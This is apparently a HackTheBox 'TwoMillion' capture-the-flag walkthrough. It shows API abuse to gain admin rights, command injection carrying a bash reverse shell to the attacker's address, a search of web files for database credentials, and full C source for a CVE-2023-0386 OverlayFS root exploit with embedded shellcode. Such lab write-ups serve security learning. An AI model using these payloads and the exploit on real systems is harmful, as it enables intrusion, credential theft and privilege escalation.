HackTheBox TwoMillion Writeup
Explore the fundamentals of cybersecurity in the TwoMillion Capture The Flag (CTF) challenge, a easy-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts#
10.10.11.221 2million.htb
Script to add hosts automatically#
ip="10.10.11.221"
domain="2million.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping#
nmap -sCV 2million.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-27 00:52 CEST
Nmap scan report for 2million.htb (10.10.11.221)
Host is up (0.049s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Invite Code Functions#
After exploring http://2million.htb/invite and analyzing the script located at http://2million.htb/js/inviteapi.min.js, the deobfuscated and beautified JavaScript code is as follows:
function verifyInviteCode(code) {
var formData = { "code": code };
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function(response) {
console.log(response);
},
error: function(response) {
console.log(response);
}
});
}
function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate/verify',
success: function(response) {
console.log(response);
},
error: function(response) {
console.log(response);
}
});
}
Open the developer console (F12) and run the following command:
makeInviteCode();
This will return a message encoded with ROT13.
echo "<message>" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
echo "The code is -> $(curl -s -X POST http://2million.htb/api/v1/invite/generate | jq .data.code | tr -d '"' | base64 -d)"
Creating an Account and Logging In#
After logging in at http://2million.htb/home/access, capture the GET request to /api/v1/user/vpn/regenerate using Burp Suite. Modify the request by changing the endpoint to /api/v1, which will reveal other available API endpoints.
Remote Code Execution#
echo -n "PHPSESSID in Coockie? -> " ; read coockie
curl -sq http://2million.htb/api/v1 -H 'Cookie: PHPSESSID='$coockie'' | jq .
echo -n "Input your email -> " ; read email
curl -sq -X PUT 'http://2million.htb/api/v1/admin/settings/update' -H 'Content-Type: application/json' -H 'Cookie: PHPSESSID='$coockie'' --data "{\"email\":\"$email\", \"is_admin\":1}" | jq .
echo -n "Run a revshell and press Enter --> nc -lvnp 9001" ; read
echo "Payload Deployed Check Your Listener for Incoming Signals\!"
tun0=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
timeout 1 curl -sq -X POST http://2million.htb/api/v1/admin/vpn/generate -H 'Cookie: PHPSESSID='$coockie'' -H 'Content-Type: application/json' --data "{\"username\":\"\$(bash -c '/bin/bash -i >& /dev/tcp/$tun0/9001 0>&1')\"}"
Database Password#
Run the following command to search for database credentials:
find /var/www -type f -name "*" -exec grep -Hni 'db_' {} \; 2>/dev/null
This reveals the database user and password.
Next, using su admin, you’ll find that the same password works for the admin user. Now, SSH into the server:
ssh admin@2million.htb
Then, to locate files owned by the admin user:
find / -user admin 2>/dev/null | grep -v '^/proc\|^/run\|^/sys'
This will reveal the file /var/mail/admin. Viewing this file:
cat /var/mail/admin
You’ll find an email mentioning dbmigration and OverlayFS.
CVE-2023-0386 (OverlayFS)#
Create efuse.c
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char *hello_path = "/hello";
const char hello_str[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
static int hellofs_getattr(const char *path, struct stat *stbuf)
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) {
stbuf->st_mode = S_IFREG | S_ISUID | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(hello_str);
} else {
res = -ENOENT;
}
return res;
}
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi)
{
(void) offset;
(void) fi;
if (strcmp(path, "/") != 0) {
return -ENOENT;
}
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0);
return 0;
}
static int hellofs_open(const char *path, struct fuse_file_info *fi)
{
puts("[+] open_callback");
puts(path);
if (strcmp(path, "hello") == 0)
{
int fd = open("", fi->flags);
return -errno;
}
return 0;
}
static int hellofs_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi)
{
size_t len;
(void) fi;
if(strcmp(path, hello_path) != 0) {
return -ENOENT;
}
len = sizeof(hello_str);
if (offset < len) {
if (offset + size > len) {
size = len - offset;
}
memcpy(buf, hello_str + offset, size);
} else {
size = 0;
}
return size;
}
static int ioctl_callback(const char *p, int cmd, void *arg, struct fuse_file_info *fi, unsigned int flags, void *data)
{
puts("[+] ioctl callback");
printf("path %s\n", p);
printf("cmd 0x%x\n", cmd);
return 0;
}
static struct fuse_operations hellofs_oper = {
.getattr = hellofs_getattr,
.readdir = hellofs_readdir,
.open = hellofs_open,
.read = hellofs_read,
.ioctl = ioctl_callback
};
int main(int argc, char *argv[]) {
system("[ ! -d fuse ] && ""mkdir -p fuse upper overlay workdir && echo '[+] Created fuse file system\n[+] Run Again to get root shell'");
argc = 2;
argv[1] = "fuse";
fuse_main(argc, argv, &hellofs_oper, NULL);
const char *overlay_command =
"unshare -Urm /bin/bash -c '"
"mount -t overlay overlay -o lowerdir=fuse,upperdir=upper,workdir=workdir overlay && "
"echo \"[+] Create overlayFS\" && "
"touch overlay/hello && "
"echo \"[+] Copy Up\" && "
"exit'";
system(overlay_command);
printf("[+] You are root!\n");
system("./upper/hello");
return 0;
}
Compile and run:
gcc efuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
chmod +x ./efuse
./efuse
cat /root/root.txt